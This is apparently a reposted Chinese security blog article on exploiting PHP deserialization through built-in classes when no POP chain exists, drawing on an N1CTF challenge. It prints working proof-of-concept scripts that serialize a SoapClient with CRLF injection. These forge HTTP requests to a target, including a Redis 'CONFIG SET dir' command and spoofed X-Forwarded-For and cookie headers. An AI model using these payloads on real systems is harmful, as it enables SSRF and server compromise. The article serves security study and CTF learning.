反序列化之PHP原生类的利用
目录
- 基础知识
- __call
- SoapClient
- __toString
- Error
- Exception
- 实例化任意类
正文
文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?
N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。
<?php
$poc = "CONFIG SET dir /root/";
$target = "http://example.com:5555/";
$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
//Test
$c = unserialize($aaa);
$c->notexists();
对于如何发送POST的数据包,这里面还有一个坑,就是content-type
的设置,当是可以看到上面的数据包,user_agent
的头部是在content-type
的下面,所以我们可以通过SoapClient
来设置user_agent
,再使用crlf将content-type
给往下挤。
来自wupco师傅的poc:
<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
回到顶部回到顶部pornhub某漏洞
可获取目录
DirectoryIterator
XXE
SimpleXMLElement
创建空白文件
SQLite3
转载自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html